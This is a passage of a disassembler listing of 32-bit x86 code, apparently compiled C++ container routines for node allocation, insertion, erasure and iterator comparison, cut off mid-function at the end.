		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4218F0	proc near		; CODE XREF: sub_401816j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40196F
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4014D8
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401997
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401947
sub_4218F0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421960	proc near		; CODE XREF: sub_4014D8j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40204F
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	esi
		retn	4
sub_421960	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4219A0	proc near		; CODE XREF: sub_40196Fj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	esi
		retn	4
sub_4219A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219D0	proc near		; CODE XREF: sub_402167j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40196F
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4018FC
sub_4219D0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A10	proc near		; CODE XREF: sub_401703j
		push	esi
		mov	esi, ecx
		call	sub_4019EC
		mov	eax, esi
		pop	esi
		retn
sub_421A10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A30	proc near		; CODE XREF: sub_40122Bj
		mov	eax, [ecx]
		push	eax
		call	sub_4010F5
		add	esp, 4
		retn
sub_421A30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A50	proc near		; CODE XREF: sub_40107Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40204F
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421A50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A80	proc near		; CODE XREF: sub_401802j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FFF
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421A80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AB0	proc near		; CODE XREF: sub_4016E0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401212
sub_421AB0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AF0	proc near		; CODE XREF: sub_401253j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4013ED
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40100F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4021B7
sub_421AF0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B60	proc near		; CODE XREF: sub_40145Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	esi
		retn	4
sub_421B60	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421BA0	proc near		; CODE XREF: sub_4013EDj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	esi
		retn	4
sub_421BA0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BD0	proc near		; CODE XREF: sub_401325j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4013ED
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401BAE
sub_421BD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C10	proc near		; CODE XREF: sub_401B40j
		push	esi
		mov	esi, ecx
		call	sub_4011A9
		mov	eax, esi
		pop	esi
		retn
sub_421C10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C30	proc near		; CODE XREF: sub_401055j
		mov	eax, [ecx]
		push	eax
		call	sub_40108C
		add	esp, 4
		retn
sub_421C30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C50	proc near		; CODE XREF: sub_40182Aj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421C50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C80	proc near		; CODE XREF: sub_4012BCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401D48
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421C80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421CB0	proc near		; CODE XREF: sub_4010E6j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401ECE
		mov	edi, eax
		push	edi
		call	sub_401B1D
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40139D
sub_421CB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401B1D
		push	edi
		mov	[eax], ebx
		call	sub_401B1D
		mov	edi, [eax]
		push	edi
		call	sub_401B1D
		mov	ecx, [eax]
		push	ecx
		call	sub_4015D2
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401172
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E3D
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421D50	proc near		; CODE XREF: sub_4018FCj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4010C8
		mov	edi, eax
		push	edi
		call	sub_401CF3
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401901
sub_421D50	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401CF3
		push	edi
		mov	[eax], ebx
		call	sub_401CF3
		mov	edi, [eax]
		push	edi
		call	sub_401CF3
		mov	ecx, [eax]
		push	ecx
		call	sub_40204F
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4010F5
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4017E9
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421DF0	proc near		; CODE XREF: sub_401997j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401802
		test	al, al
		jz	short loc_421E4A


loc_421E08:				; CODE XREF: sub_421DF0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4020B8
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A1E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401802
		test	al, al
		jnz	short loc_421E08
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_421E4A:				; CODE XREF: sub_421DF0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_421DF0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421E80	proc near		; CODE XREF: sub_401901j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	24h
		call	sub_401DF2
sub_421E80	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_421E95
		mov	edi, esi


loc_421E95:				; CODE XREF: ___:00421E91j
		push	esi
		call	sub_40204F
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_421EAA
		mov	edi, esi


loc_421EAA:				; CODE XREF: ___:00421EA6j
		push	esi
		call	sub_401CF3
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421ED0	proc near		; CODE XREF: sub_401947j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401546
sub_421ED0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421EF0	proc near		; CODE XREF: sub_40204Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_421EF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F10	proc near		; CODE XREF: sub_4010F5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_421F10	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F30	proc near		; CODE XREF: sub_4019ECj
		mov	eax, ecx
		retn
sub_421F30	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F50	proc near		; CODE XREF: sub_401EBFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401519
		mov	eax, esi
		pop	esi
		retn	4
sub_421F50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F80	proc near		; CODE XREF: sub_401FFFj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_421F80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421FB0	proc near		; CODE XREF: sub_401BAEj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4018E8
		mov	edi, eax
		push	edi
		call	sub_4010EB
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401212
sub_421FB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4010EB
		push	edi
		mov	[eax], ebx
		call	sub_4010EB
		mov	edi, [eax]
		push	edi
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_40108C
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4013DE
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422050	proc near		; CODE XREF: sub_40100Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jz	short loc_4220AA


loc_422068:				; CODE XREF: sub_422050+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4019AB
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401B7C
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jnz	short loc_422068
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4220AA:				; CODE XREF: sub_422050+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_422050	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4220E0	proc near		; CODE XREF: sub_401212j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	20h
		call	sub_4020BD
sub_4220E0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4220F5
		mov	edi, esi


loc_4220F5:				; CODE XREF: ___:004220F1j
		push	esi
		call	sub_40110E
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_42210A
		mov	edi, esi


loc_42210A:				; CODE XREF: ___:00422106j
		push	esi
		call	sub_4010EB
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422130	proc near		; CODE XREF: sub_4021B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4018E3
sub_422130	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422150	proc near		; CODE XREF: sub_40110Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_422150	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422170	proc near		; CODE XREF: sub_40108Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422170	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422190	proc near		; CODE XREF: sub_4011A9j
		mov	eax, ecx
		retn
sub_422190	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4221B0	proc near		; CODE XREF: sub_401D75j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4018ED
		mov	eax, esi
		pop	esi
		retn	4
sub_4221B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4221E0	proc near		; CODE XREF: sub_401D48j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4221E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422210	proc near		; CODE XREF: sub_401E3Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401A2D
		add	esp, 8
		retn	8
sub_422210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422240	proc near		; CODE XREF: sub_401A1Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4020B8
		mov	ecx, eax
		call	sub_4010C8
		mov	esi, eax
		push	esi
		call	sub_40204F
		push	esi
		mov	ebx, eax
		call	sub_401CF3
		mov	ecx, [eax]
		push	ecx
		call	sub_40204F
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401CF3
		push	esi
		mov	ebx, eax
		call	sub_40204F
		mov	eax, [eax]
		push	eax
		call	sub_401CF3
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4010F5
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401631
		push	esi
		mov	ecx, edi
		call	sub_401947
sub_422240	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422300	proc near		; CODE XREF: sub_401CF3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_422300	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422320	proc near		; CODE XREF: sub_401DF2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_422320	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422350	proc near		; CODE XREF: sub_401546j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_422350	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422370	proc near		; CODE XREF: sub_4017E9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40201D
		add	esp, 8
		retn	8
sub_422370	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223A0	proc near		; CODE XREF: sub_401519j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4223A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223C0	proc near		; CODE XREF: sub_4010C8j
		mov	eax, [ecx]
		retn
sub_4223C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223E0	proc near		; CODE XREF: sub_4020B8j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40107D
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4223E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422410	proc near		; CODE XREF: sub_401B7Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4019AB
		mov	ecx, eax
		call	sub_4018E8
		mov	esi, eax
		push	esi
		call	sub_40110E
		push	esi
		mov	ebx, eax
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4010EB
		push	esi
		mov	ebx, eax
		call	sub_40110E
		mov	eax, [eax]
		push	eax
		call	sub_4010EB
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_40108C
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401E60
		push	esi
		mov	ecx, edi
		call	sub_4021B7
sub_422410	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224D0	proc near		; CODE XREF: sub_4010EBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4224D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4224F0	proc near		; CODE XREF: sub_4020BDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_4224F0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422520	proc near		; CODE XREF: sub_4018E3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_422520	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422540	proc near		; CODE XREF: sub_4013DEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401ED3
		add	esp, 8
		retn	8
sub_422540	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422570	proc near		; CODE XREF: sub_4018EDj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_422570	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422590	proc near		; CODE XREF: sub_4018E8j
		mov	eax, [ecx]
		retn
sub_422590	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225B0	proc near		; CODE XREF: sub_4019ABj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40182A
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4225B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225E0	proc near		; CODE XREF: sub_401631j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401A78
		pop	ecx
		retn	4
sub_4225E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422600	proc near		; CODE XREF: sub_401E60j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401F9B
		pop	ecx
		retn	4
sub_422600	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422620	proc near		; CODE XREF: sub_401A2Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_42263B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

